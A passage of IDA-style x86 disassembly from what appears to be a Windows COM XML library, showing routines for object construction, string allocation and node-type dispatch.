loc_69B71FC1: ; CODE XREF: sub_69B71F04+A3j
lea eax, [ebp+var_5]
push eax
push 1405h
loc_69B71FCA: ; CODE XREF: sub_69B71F04+10Cj
mov ecx, [ebp+var_14]
call sub_69B71D7F
jmp short loc_69B72016
; ---------------------------------------------------------------------------
loc_69B71FD4: ; CODE XREF: sub_69B71F04+85j
; sub_69B71F04+8Cj
push offset dword_69B9B67C ; ppv
call sub_69B2C785
test eax, eax
jnz short loc_69B72016
mov eax, dword_69B9B67C
lea esi, [ebp+var_24]
lea edi, [ebp+var_34]
movsd
push ebx
movsd
push ebx
lea edx, [ebp+var_34]
push edx
movsd
push 1
lea edx, [ebp+rclsid]
push edx
movsd
mov ecx, [eax]
push eax
call dword ptr [ecx+18h]
test eax, eax
jz short loc_69B71FBB
loc_69B72007: ; CODE XREF: sub_69B71F04+6Cj
; sub_69B71F04+B5j
lea eax, [ebp+var_5]
push eax
push 1204h
jmp short loc_69B71FCA
; ---------------------------------------------------------------------------
loc_69B72012: ; CODE XREF: sub_69B71F04:loc_69B71FBFj
mov [ebp+var_5], 1
loc_69B72016: ; CODE XREF: sub_69B71F04+58j
; sub_69B71F04+62j ...
mov eax, [ebp+var_C]
pop edi
pop esi
cmp eax, ebx
pop ebx
jz short loc_69B72026
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B72026: ; CODE XREF: sub_69B71F04+11Aj
mov ecx, [ebp+var_4]
xor ecx, [ebp+4]
mov al, [ebp+var_5]
call sub_69B1B9F6
leave
retn 1Ch
; ---------------------------------------------------------------------------
loc_69B72038: ; DATA XREF: sub_69B71F04+38o
add [eax-27h], ebx
jge short loc_69B71FBF
cwde
iret
sub_69B71F04 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 11h
dd 0AA00A99Fh, 0C4426C00h
; =============== S U B R O U T I N E =======================================
sub_69B72048 proc near ; CODE XREF: sub_69B72281+3p
push esi
mov esi, ecx
mov eax, [esi+0Ch]
test eax, eax
mov dword ptr [esi-4], offset off_69B141E8
mov dword ptr [esi], offset off_69B2A4E8
jz short loc_69B72065
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B72065: ; CODE XREF: sub_69B72048+15j
push dword ptr [esi+10h] ; BSTR
call SysFreeString
pop esi
jmp sub_69B2C65C
sub_69B72048 endp
; =============== S U B R O U T I N E =======================================
sub_69B72074 proc near ; CODE XREF: sub_69B6F543+A4p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
push [esp+8+arg_0]
mov esi, ecx
lea eax, [esi+10h]
push eax
xor edi, edi
call sub_69B17320
cmp dword_69B9B678, edi
jnz short loc_69B7209F
push offset dword_69B9B678 ; ppv
call sub_69B2C72C
mov edi, eax
test edi, edi
jl short loc_69B720D2
loc_69B7209F: ; CODE XREF: sub_69B72074+19j
cmp [esp+8+arg_0], 0
mov cl, [esp+8+arg_4]
setnz al
test al, al
mov [esi+19h], al
mov [esi+18h], cl
jz short loc_69B720D2
mov eax, [esp+8+arg_8]
push dword ptr [eax+8] ; UINT
mov ecx, [eax+0Ch]
push ecx ; OLECHAR *
call SysAllocStringLen
test eax, eax
mov [esi+14h], eax
jnz short loc_69B720D2
mov edi, 8007000Eh
loc_69B720D2: ; CODE XREF: sub_69B72074+29j
; sub_69B72074+3Fj ...
mov eax, edi
pop edi
pop esi
retn 0Ch
sub_69B72074 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B720D9 proc near ; DATA XREF: .text:69B141FCo
var_2C = byte ptr -2Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 2Ch
mov eax, dword_69B92170
xor eax, [ebp+4]
push ebx
push esi
mov esi, [ebp+arg_8]
mov [ebp+var_4], eax
xor eax, eax
cmp esi, eax
push edi
mov [ebp+var_8], eax
jz loc_69B72219
mov edx, [ebp+arg_C]
cmp edx, eax
jz loc_69B72219
mov ebx, [ebp+arg_0]
mov [esi], eax
mov [edx], eax
cmp [ebx+19h], al
mov [ebp+var_C], 3
jz loc_69B721E0
cmp [ebp+arg_10], eax
jnz short loc_69B72131
lea eax, [ebp+var_2C]
mov [ebp+arg_10], eax
mov [ebp+arg_14], 20h
loc_69B72131: ; CODE XREF: sub_69B720D9+49j
mov ecx, ebx
call sub_69B71C8A
push [ebp+arg_18]
mov ecx, [eax]
push [ebp+arg_14]
push [ebp+arg_10]
push edx
push esi
mov esi, [ebp+arg_4]
push esi
push dword ptr [ebx+14h]
push eax
call dword ptr [ecx+20h]
cmp eax, 800C0011h
mov [ebp+var_8], eax
jz short loc_69B72165
cmp eax, 80070490h
jnz loc_69B72214
loc_69B72165: ; CODE XREF: sub_69B720D9+7Fj
push 4
pop ecx
mov edi, offset byte_69B72230
xor eax, eax
repe cmpsd
jnz short loc_69B721EC
cmp [ebp+arg_14], 18h
jz short loc_69B72185
mov [ebp+var_8], 80070057h
jmp loc_69B72214
; ---------------------------------------------------------------------------
loc_69B72185: ; CODE XREF: sub_69B720D9+9Ej
mov esi, [ebp+arg_10]
test esi, esi
jnz short loc_69B72195
mov [ebp+var_8], 80004003h
jmp short loc_69B72214
; ---------------------------------------------------------------------------
loc_69B72195: ; CODE XREF: sub_69B720D9+B1j
cmp dword ptr [esi+10h], 0
jz short loc_69B72214
lea eax, [ebp+arg_10+3]
push eax
push 1203h
mov ecx, ebx
call sub_69B71D7F
test eax, eax
mov [ebp+var_8], eax
jl short loc_69B72214
cmp byte ptr [ebp+arg_10+3], 0
jnz short loc_69B721D6
push dword ptr [esi+10h] ; int
mov ecx, ebx
sub esp, 10h
mov edi, esp
movsd
movsd
movsd
push offset dword_69B2AFE0 ; int
push 1 ; int
movsd
call sub_69B71F04
test al, al
jz short loc_69B721DA
loc_69B721D6: ; CODE XREF: sub_69B720D9+DDj
and [ebp+var_C], 0
loc_69B721DA: ; CODE XREF: sub_69B720D9+FBj
and [ebp+var_8], 0
jmp short loc_69B721EC
; ---------------------------------------------------------------------------
loc_69B721E0: ; CODE XREF: sub_69B720D9+40j
cmp byte ptr [ebx+18h], 0
jnz short loc_69B721EC
mov [ebp+var_C], eax
mov [ebp+var_8], eax
loc_69B721EC: ; CODE XREF: sub_69B720D9+98j
; sub_69B720D9+105j ...
push 4 ; cb
call ds:CoTaskMemAlloc
test eax, eax
mov ecx, [ebp+arg_8]
mov [ecx], eax
jz short loc_69B7220D
mov ecx, [ebp+var_C]
mov [eax], ecx
mov eax, [ebp+arg_C]
mov dword ptr [eax], 4
jmp short loc_69B72214
; ---------------------------------------------------------------------------
loc_69B7220D: ; CODE XREF: sub_69B720D9+122j
mov [ebp+var_8], 8007000Eh
loc_69B72214: ; CODE XREF: sub_69B720D9+86j
; sub_69B720D9+A7j ...
mov eax, [ebp+var_8]
jmp short loc_69B7221E
; ---------------------------------------------------------------------------
loc_69B72219: ; CODE XREF: sub_69B720D9+1Ej
; sub_69B720D9+29j
mov eax, 80004003h
loc_69B7221E: ; CODE XREF: sub_69B720D9+13Ej
mov ecx, [ebp+var_4]
xor ecx, [ebp+4]
call sub_69B1B9F6
pop edi
pop esi
pop ebx
leave
retn 1Ch
sub_69B720D9 endp
; ---------------------------------------------------------------------------
byte_69B72230 db 90h ; DATA XREF: sub_69B720D9+8Fo
; ---------------------------------------------------------------------------
add al, 20h
adc [eax], bh
cli
rcl byte ptr [ecx], 1
lodsb
push cs
add [eax-3F00F037h], ah
; =============== S U B R O U T I N E =======================================
sub_69B72240 proc near ; CODE XREF: sub_69B72259+3p
push esi
mov esi, ecx
push offset dword_69B2AF00
lea ecx, [esi+4]
call sub_69B1D9B7
call sub_69B1E031
mov eax, esi
pop esi
retn
sub_69B72240 endp
; =============== S U B R O U T I N E =======================================
sub_69B72259 proc near ; CODE XREF: sub_69B6F543+89p
push esi
mov esi, ecx
call sub_69B72240
xor eax, eax
mov [esi+10h], eax
mov [esi+14h], eax
mov [esi+18h], al
mov dword ptr [esi], offset off_69B141E8
mov dword ptr [esi+4], offset off_69B2A4E8
mov byte ptr [esi+19h], 1
mov eax, esi
pop esi
retn
sub_69B72259 endp
; =============== S U B R O U T I N E =======================================
sub_69B72281 proc near ; DATA XREF: .text:off_69B2A4E8o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B72048
test [esp+4+arg_0], 1
jz short loc_69B72299
lea eax, [esi-4]
push eax
call sub_69B1B2B7
loc_69B72299: ; CODE XREF: sub_69B72281+Dj
lea eax, [esi-4]
pop esi
retn 4
sub_69B72281 endp
; =============== S U B R O U T I N E =======================================
sub_69B722A0 proc near ; CODE XREF: sub_69B7267F+10p
; sub_69B72CD6+10p
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esp+4+arg_0]
mov [esi+4], ecx
mov eax, [ecx]
push esi
call dword ptr [eax+68h]
mov [esi+8], eax
mov eax, esi
pop esi
retn 4
sub_69B722A0 endp
; =============== S U B R O U T I N E =======================================
sub_69B722B9 proc near ; CODE XREF: sub_69B72CD6+18p
; sub_69B72CD6+D0p
push esi
mov esi, ecx
push edi
mov edi, [esi+8]
test edi, edi
jz short loc_69B722D0
mov ecx, [esi+4]
mov eax, [ecx]
push esi
call dword ptr [eax+6Ch]
mov [esi+8], eax
loc_69B722D0: ; CODE XREF: sub_69B722B9+9j
mov eax, edi
pop edi
pop esi
retn
sub_69B722B9 endp
; =============== S U B R O U T I N E =======================================
sub_69B722D5 proc near ; CODE XREF: sub_69B7298C+10p
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esp+4+arg_0]
mov [esi+4], ecx
mov eax, [ecx]
push esi
call dword ptr [eax+9Ch]
mov [esi+8], eax
mov eax, esi
pop esi
retn 4
sub_69B722D5 endp
; =============== S U B R O U T I N E =======================================
sub_69B722F1 proc near ; CODE XREF: sub_69B7298C+18p
; sub_69B7298C+90p
push esi
mov esi, ecx
push edi
mov edi, [esi+8]
test edi, edi
jz short loc_69B7230B
mov ecx, [esi+4]
mov eax, [ecx]
push esi
call dword ptr [eax+0A0h]
mov [esi+8], eax
loc_69B7230B: ; CODE XREF: sub_69B722F1+9j
mov eax, edi
pop edi
pop esi
retn
sub_69B722F1 endp
; =============== S U B R O U T I N E =======================================
sub_69B72310 proc near ; DATA XREF: .text:69B141A4o
; .text:69B16154o ...
mov eax, offset off_69B2A4EC
retn
sub_69B72310 endp
; =============== S U B R O U T I N E =======================================
sub_69B72316 proc near ; CODE XREF: sub_69B702BB+6Cp
; sub_69B71B94+5Fp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
xor eax, eax
cmp [esp+arg_4], eax
push esi
mov esi, [esp+4+arg_0]
jz short loc_69B7232A
push eax
push [esp+8+arg_4]
jmp short loc_69B72331
; ---------------------------------------------------------------------------
loc_69B7232A: ; CODE XREF: sub_69B72316+Bj
mov edx, [esi+28h]
push dword ptr [edx+18h]
push eax
loc_69B72331: ; CODE XREF: sub_69B72316+12j
push ecx
mov ecx, esi
call sub_69B6F8EA
mov eax, [esi+20h]
mov dword ptr [eax+0Ch], 2
pop esi
retn 8
sub_69B72316 endp
; =============== S U B R O U T I N E =======================================
sub_69B72347 proc near ; CODE XREF: sub_69B723DF+28p
; sub_69B7254A+25p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push dword ptr [eax]
mov esi, ecx
push esi
call sub_69B2DEB2
mov eax, esi
pop esi
retn 4
sub_69B72347 endp
; =============== S U B R O U T I N E =======================================
sub_69B7235C proc near ; CODE XREF: sub_69B75B50+17p
; DATA XREF: .text:69B141CCo ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov edx, [esi]
test edx, edx
jnz short loc_69B7237C
mov ecx, [ecx+1Ch]
test ecx, ecx
jz short loc_69B7238A
lea edx, [ecx+0Ch]
loc_69B72371: ; CODE XREF: sub_69B7235C+2Cj
mov eax, [edx]
add edx, 4
mov [esi], edx
loc_69B72378: ; CODE XREF: sub_69B7235C+30j
pop esi
retn 0Ch
; ---------------------------------------------------------------------------
loc_69B7237C: ; CODE XREF: sub_69B7235C+9j
mov eax, [ecx+20h]
mov ecx, [ecx+1Ch]
lea eax, [ecx+eax*4+0Ch]
cmp edx, eax
jb short loc_69B72371
loc_69B7238A: ; CODE XREF: sub_69B7235C+10j
xor eax, eax
jmp short loc_69B72378
sub_69B7235C endp
; =============== S U B R O U T I N E =======================================
sub_69B7238E proc near ; CODE XREF: sub_69B70438+7Ap
; sub_69B71C1C+58p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
push edi
mov edi, ecx
lea esi, [edi+14h]
mov eax, [esi]
test eax, eax
jz short loc_69B723A5
cmp [eax+20h], ebx
jz short loc_69B723D7
loc_69B723A5: ; CODE XREF: sub_69B7238E+10j
mov ecx, [esp+0Ch+arg_0]
cmp dword ptr [ecx+0A8h], 2
jz short loc_69B723C0
push edi
push ebx
call sub_69B6E94F
push eax
push esi
call sub_69B2DEB2
loc_69B723C0: ; CODE XREF: sub_69B7238E+22j
cmp dword ptr [esi], 0
jnz short loc_69B723D7
mov ecx, [esp+0Ch+arg_0]
push edi
push ebx
call sub_69B6F3D1
push eax
push esi
call sub_69B2DEB2
loc_69B723D7: ; CODE XREF: sub_69B7238E+15j
; sub_69B7238E+35j
mov eax, [esi]
pop edi
pop esi
pop ebx
retn 8
sub_69B7238E endp
; =============== S U B R O U T I N E =======================================
sub_69B723DF proc near ; CODE XREF: sub_69B71B16+15p
push esi
mov esi, [ecx+28h]
jmp short loc_69B723EE
; ---------------------------------------------------------------------------
loc_69B723E5: ; CODE XREF: sub_69B723DF+11j
cmp dword ptr [esi+14h], 0
jnz short loc_69B723F8
mov esi, [esi+28h]
loc_69B723EE: ; CODE XREF: sub_69B723DF+4j
test esi, esi
jnz short loc_69B723E5
xor eax, eax
loc_69B723F4: ; CODE XREF: sub_69B723DF+30j
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_69B723F8: ; CODE XREF: sub_69B723DF+Aj
add ecx, 14h
mov eax, [ecx]
cmp dword ptr [eax+1Ch], 0
jnz short loc_69B7240C
lea eax, [esi+14h]
push eax
call sub_69B72347
loc_69B7240C: ; CODE XREF: sub_69B723DF+22j
mov eax, [esi+14h]
jmp short loc_69B723F4
sub_69B723DF endp
; =============== S U B R O U T I N E =======================================
sub_69B72411 proc near ; CODE XREF: sub_69B7500E+12p
; sub_69B7500E+89p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
mov esi, ecx
mov ecx, [esp+8+arg_4]
call sub_69B75178
push eax
push [esp+8+arg_0]
mov ecx, esi
call sub_69B7238E
push eax
add esi, 14h
push esi
call sub_69B2DEB2
push [esp+4+arg_4]
mov ecx, [esi]
call sub_69B718B3
pop esi
retn 8
sub_69B72411 endp
; =============== S U B R O U T I N E =======================================
sub_69B72446 proc near ; CODE XREF: sub_69B724C7+Fp
; sub_69B74F48+7p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_69B70050
xor eax, eax
mov dword ptr [esi], offset off_69B14188
mov [esi+14h], eax
mov [esi+1Ch], eax
mov [esi+28h], eax
mov eax, esi
pop esi
retn 4
sub_69B72446 endp
; =============== S U B R O U T I N E =======================================
sub_69B72469 proc near ; CODE XREF: sub_69B724A5+6p
push esi
mov esi, ecx
mov ecx, [esi+0Ch]
test ecx, ecx
jz short loc_69B7247D
mov eax, [ecx]
push 0
call dword ptr [eax+80h]
loc_69B7247D: ; CODE XREF: sub_69B72469+8j
push 0
add esi, 10h
push esi
call sub_69B17320
pop esi
retn
sub_69B72469 endp
; =============== S U B R O U T I N E =======================================
sub_69B7248A proc near ; CODE XREF: sub_69B725C0+B1p
push esi
mov esi, ecx
push 0
lea eax, [esi+28h]
push eax
call sub_69B2DEB2
push 0
add esi, 2Ch
push esi
call sub_69B17320
pop esi
retn
sub_69B7248A endp
; =============== S U B R O U T I N E =======================================
sub_69B724A5 proc near ; CODE XREF: sub_69B725AD+Bp
push esi
mov esi, ecx
mov ecx, [esi+28h]
call sub_69B72469
dec word ptr [esi+32h]
movsx eax, word ptr [esi+32h]
mov ecx, [esi+2Ch]
imul eax, 1Ch
lea eax, [ecx+eax-10h]
mov [esi+28h], eax
pop esi
retn
sub_69B724A5 endp
; =============== S U B R O U T I N E =======================================
sub_69B724C7 proc near ; DATA XREF: .text:69B2A4F0o
push 2Ch
call sub_69B17EF3
test eax, eax
jz short loc_69B724DC
push 0
mov ecx, eax
call sub_69B72446
retn
; ---------------------------------------------------------------------------
loc_69B724DC: ; CODE XREF: sub_69B724C7+9j
xor eax, eax
retn
sub_69B724C7 endp
; =============== S U B R O U T I N E =======================================
sub_69B724DF proc near ; CODE XREF: sub_69B16098+Ap
; sub_69B75912-5F562p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
push esi
push [esp+4+arg_4]
mov esi, ecx
call sub_69B72FBE
push [esp+4+arg_0]
xor ecx, ecx
mov dword ptr [esi], offset off_69B14188
lea eax, [esi+28h]
mov [esi+14h], ecx
mov [esi+1Ch], ecx
push eax
mov [eax], ecx
call sub_69B2DEB2
movzx eax, [esp+4+arg_8]
shl eax, 1
xor eax, [esi+24h]
and eax, 2
xor [esi+24h], eax
mov eax, esi
pop esi
retn 0Ch
sub_69B724DF endp
; =============== S U B R O U T I N E =======================================
sub_69B7251E proc near ; CODE XREF: sub_69B730EB+11j
; sub_69B73502+32j ...
push esi
mov esi, ecx
push 0
lea eax, [esi+28h]
push eax
call sub_69B2DEB2
push 0
lea eax, [esi+14h]
push eax
call sub_69B2DEB2
push 0
lea eax, [esi+1Ch]
push eax
call sub_69B17320
mov ecx, esi
pop esi
jmp sub_69B72FDD
sub_69B7251E endp
; =============== S U B R O U T I N E =======================================
sub_69B7254A proc near ; CODE XREF: sub_69B74FD3+4p
; DATA XREF: .text:69B141B0o ...
push esi
push edi
mov edi, ecx
call sub_69B72FE6
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+10h]
mov esi, eax
lea eax, [edi+1Ch]
push eax
lea ecx, [esi+1Ch]
call sub_69B4D414
lea eax, [edi+28h]
push eax
lea ecx, [esi+28h]
call sub_69B72347
lea eax, [edi+14h]
push eax
lea ecx, [esi+14h]
call sub_69B72347
mov eax, [edi+20h]
mov [esi+20h], eax
mov eax, [esi+24h]
xor eax, [edi+24h]
and eax, 1
xor [esi+24h], eax
mov eax, [esi+24h]
mov ecx, [edi+24h]
xor ecx, eax
and ecx, 2
xor ecx, eax
mov [esi+24h], ecx
mov eax, [edi+18h]
mov [esi+18h], eax
pop edi
mov eax, esi
pop esi
retn
sub_69B7254A endp
; =============== S U B R O U T I N E =======================================
sub_69B725AD proc near ; CODE XREF: sub_69B702BB+5Dp
; sub_69B71B94+40p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
mov eax, [ecx+20h]
and dword ptr [eax+0Ch], 0
call sub_69B724A5
retn 4
sub_69B725AD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B725C0 proc near ; CODE XREF: sub_69B71C1C+29p
; sub_69B727D0+6Dp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [esi]
mov [ebp+var_4], ecx
push edi
mov ecx, esi
call dword ptr [eax+38h]
mov ebx, [ebp+arg_0]
cmp dword ptr [ebx+0A8h], 2
mov edi, eax
mov eax, [edi+10h]
push eax
mov ecx, ebx
setnz byte ptr [ebp+arg_4+3]
call sub_69B6EB35
test eax, eax
jz short loc_69B7264D
mov edi, [edi+14h]
cmp edi, dword_69B9B610
jz short loc_69B72649
cmp byte ptr [ebp+arg_4+3], 0
jz short loc_69B72627
cmp edi, dword_69B9B5A8
jz short loc_69B72649
loc_69B7260C: ; CODE XREF: sub_69B725C0+6Dj
mov eax, [esi]
push 0
push 0
mov ecx, esi
call dword ptr [eax+3Ch]
push eax
push 0C00CE301h
call sub_69B6E277
mov esi, [ebp+arg_8]
jmp short loc_69B72669
; ---------------------------------------------------------------------------
loc_69B72627: ; CODE XREF: sub_69B725C0+42j
cmp edi, dword_69B9B608
jnz short loc_69B7260C
push 0
push esi
push [ebp+var_4]
call sub_69B751ED
push [ebp+arg_8]
mov esi, eax
mov eax, [esi]
push ebx
mov ecx, esi
call dword ptr [eax+3Ch]
jmp short loc_69B7266F
; ---------------------------------------------------------------------------
loc_69B72649: ; CODE XREF: sub_69B725C0+3Cj
; sub_69B725C0+4Aj
xor al, al
jmp short loc_69B72678
; ---------------------------------------------------------------------------
loc_69B7264D: ; CODE XREF: sub_69B725C0+31j
push 0
push esi
push [ebp+var_4]
call sub_69B751ED
push [ebp+arg_8]
mov esi, eax
mov eax, [esi]
or dword ptr [esi+24h], 1
push ebx
mov ecx, esi
call dword ptr [eax+3Ch]
loc_69B72669: ; CODE XREF: sub_69B725C0+65j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_69B72676
loc_69B7266F: ; CODE XREF: sub_69B725C0+87j
mov ecx, esi
call sub_69B7248A
loc_69B72676: ; CODE XREF: sub_69B725C0+ADj
mov al, 1
loc_69B72678: ; CODE XREF: sub_69B725C0+8Bj
pop edi
pop esi
pop ebx
leave
retn 0Ch
sub_69B725C0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7267F proc near ; CODE XREF: sub_69B70438+52p
; sub_69B71C1C+39p ...
var_10 = byte ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
push esi
push [ebp+arg_4]
mov [ebp+var_4], ecx
lea ecx, [ebp+var_10]
call sub_69B722A0
lea ecx, [ebp+var_10]
call sub_69B6FEA4
mov esi, eax
test esi, esi
jz loc_69B727CB
push ebx
push edi
mov edi, [ebp+arg_0]
loc_69B726AB: ; CODE XREF: sub_69B7267F+144j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+38h]
mov ecx, [edi+68h]
mov ebx, eax
mov eax, [ebx+10h]
push esi
mov [ebp+arg_4], eax
call sub_69B4DD27
push [ebp+arg_4]
mov ecx, edi
call sub_69B6EB35
test eax, eax
jz loc_69B7277F
mov ebx, [ebx+14h]
cmp ebx, dword_69B9B608
jnz short loc_69B726F0
push 0
push esi
push [ebp+var_4]
call sub_69B751ED
jmp loc_69B727A3
; ---------------------------------------------------------------------------
loc_69B726F0: ; CODE XREF: sub_69B7267F+5Fj
cmp ebx, dword_69B9B580
jz short loc_69B7275E
cmp ebx, dword_69B9B578
jz short loc_69B7275E
cmp ebx, dword_69B9B588
jnz short loc_69B7271A
push [ebp+arg_8]
mov ecx, [ebp+var_4]
push esi
push edi
call sub_69B727D0
jmp loc_69B727AE
; ---------------------------------------------------------------------------
loc_69B7271A: ; CODE XREF: sub_69B7267F+87j
cmp ebx, dword_69B9B568
jnz short loc_69B72734
push esi
mov ecx, edi
call sub_69B6EB90
push esi
mov ecx, edi
call sub_69B6F192
jmp short loc_69B727AE
; ---------------------------------------------------------------------------
loc_69B72734: ; CODE XREF: sub_69B7267F+A1j
cmp ebx, dword_69B9B530
jnz short loc_69B72746
push esi
mov ecx, edi
call sub_69B6EB68
jmp short loc_69B7279D
; ---------------------------------------------------------------------------
loc_69B72746: ; CODE XREF: sub_69B7267F+BBj
mov eax, [esi]
push 0
push 0
mov ecx, esi
call dword ptr [eax+3Ch]
push eax
push 0C00CE301h
call sub_69B6E277
jmp short loc_69B727AE
; ---------------------------------------------------------------------------
loc_69B7275E: ; CODE XREF: sub_69B7267F+77j
; sub_69B7267F+7Fj
push esi
mov ecx, edi
call sub_69B6EB90
xor eax, eax
cmp ebx, dword_69B9B580
setnz al
inc eax
push eax
push esi
push [ebp+var_4]
push edi
call sub_69B73499
jmp short loc_69B727A3
; ---------------------------------------------------------------------------
loc_69B7277F: ; CODE XREF: sub_69B7267F+50j
mov eax, [ebp+arg_4]
cmp eax, dword_69B9B620
jnz short loc_69B727AE
push esi
mov ecx, edi
call sub_69B6EB90
mov eax, [ebx+14h]
cmp eax, dword_69B9B530
jnz short loc_69B727AE
loc_69B7279D: ; CODE XREF: sub_69B7267F+C5j
push esi
call sub_69B752DA
loc_69B727A3: ; CODE XREF: sub_69B7267F+6Cj
; sub_69B7267F+FEj
push [ebp+arg_8]
mov edx, [eax]
mov ecx, eax
push edi
call dword ptr [edx+3Ch]
loc_69B727AE: ; CODE XREF: sub_69B7267F+96j
; sub_69B7267F+B3j ...
mov ecx, [edi+68h]
push esi
call sub_69B4DDE6
lea ecx, [ebp+var_10]
call sub_69B6FEA4
mov esi, eax
test esi, esi
jnz loc_69B726AB
pop edi
pop ebx
loc_69B727CB: ; CODE XREF: sub_69B7267F+21j
pop esi
leave
retn 0Ch
sub_69B7267F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B727D0 proc near ; CODE XREF: sub_69B7267F+91p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], ecx
push edi
mov ecx, esi
call sub_69B6EB90
push dword_69B9B4A0
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+0A8h]
mov ebx, eax
test ebx, ebx
jnz short loc_69B72810
push eax
push eax
push dword_69B9B4A0
push 0C00CE020h
call sub_69B6E277
loc_69B72810: ; CODE XREF: sub_69B727D0+2Cj
push edi
call sub_69B6FED3
push ebx
push edi
mov ecx, esi
call sub_69B6E8BD
mov ebx, eax
push ebx
push edi
mov ecx, esi
call sub_69B6F2CA
mov ecx, [esi+68h]
mov edi, eax
push edi
call sub_69B4DD27
push [ebp+arg_8]
mov ecx, [ebp+var_4]
push edi
push esi
call sub_69B725C0
test al, al
jnz short loc_69B72863
push dword_69B9B4D8
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+0A8h]
push [ebp+arg_8]
mov ecx, [ebp+var_4]
push edi
push esi
call sub_69B7267F
loc_69B72863: ; CODE XREF: sub_69B727D0+74j
mov ecx, [esi+68h]
push edi
call sub_69B4DDE6
push ebx
mov ecx, esi
call sub_69B6E926
pop edi
pop esi
pop ebx
leave
retn 0Ch
sub_69B727D0 endp
; =============== S U B R O U T I N E =======================================
sub_69B7287B proc near ; CODE XREF: sub_69B728E6+Ep
; sub_69B7298C+D3p ...
arg_0 = dword ptr 4
push esi
push edi
mov edi, ecx
lea esi, [edi+1Ch]
cmp dword ptr [esi], 0
jnz short loc_69B728AD
push ebx
push 20h
call sub_69B17EF3
mov ebx, eax
mov ecx, ebx
mov dword ptr [ebx+8], 4
call sub_69B19118
push ebx
push esi
mov dword ptr [ebx], offset off_69B1EE00
call sub_69B17320
pop ebx
loc_69B728AD: ; CODE XREF: sub_69B7287B+Aj
mov ecx, [esi]
mov eax, [ecx+8]
cmp [edi+20h], eax
jl short loc_69B728C6
add eax, eax
push eax
call sub_69B660A0
push eax
push esi
call sub_69B17320
loc_69B728C6: ; CODE XREF: sub_69B7287B+3Aj
mov eax, [edi+20h]
lea ecx, [eax+1]
mov [edi+20h], ecx
mov ecx, [esi]
push eax
call sub_69B1A954
push [esp+8+arg_0]
push eax
call sub_69B17320
pop edi
pop esi
retn 4
sub_69B7287B endp
; =============== S U B R O U T I N E =======================================
sub_69B728E6 proc near ; CODE XREF: sub_69B7298C+DBp
; sub_69B72E2D+6Ap ...
push esi
push edi
mov edi, ecx
call sub_69B754F1
mov esi, eax
push esi
mov ecx, edi
call sub_69B7287B
pop edi
mov eax, esi
pop esi
retn
sub_69B728E6 endp
; =============== S U B R O U T I N E =======================================
sub_69B728FE proc near ; DATA XREF: .text:69B1EE3Co
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push dword ptr [eax]
push [esp+4+arg_0]
call sub_69B17320
retn 8
sub_69B728FE endp
; =============== S U B R O U T I N E =======================================
sub_69B72910 proc near ; CODE XREF: sub_69B6FABE+9Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 2Ch
call sub_69B17EF3
test eax, eax
jz short loc_69B7292E
push 0
push [esp+4+arg_4]
mov ecx, eax
push [esp+8+arg_0]
call sub_69B724DF
jmp short locret_69B72930
; ---------------------------------------------------------------------------
loc_69B7292E: ; CODE XREF: sub_69B72910+9j
xor eax, eax
locret_69B72930: ; CODE XREF: sub_69B72910+1Cj
retn 8
sub_69B72910 endp
; =============== S U B R O U T I N E =======================================
sub_69B72933 proc near ; CODE XREF: sub_69B72A73+58p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 2Ch
call sub_69B17EF3
test eax, eax
jz short loc_69B72951
push 1
push [esp+4+arg_4]
mov ecx, eax
push [esp+8+arg_0]
call sub_69B724DF
jmp short locret_69B72953
; ---------------------------------------------------------------------------
loc_69B72951: ; CODE XREF: sub_69B72933+9j
xor eax, eax
locret_69B72953: ; CODE XREF: sub_69B72933+1Cj
retn 8
sub_69B72933 endp
; =============== S U B R O U T I N E =======================================
sub_69B72956 proc near ; DATA XREF: .text:69B141C0o
; .text:69B14308o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
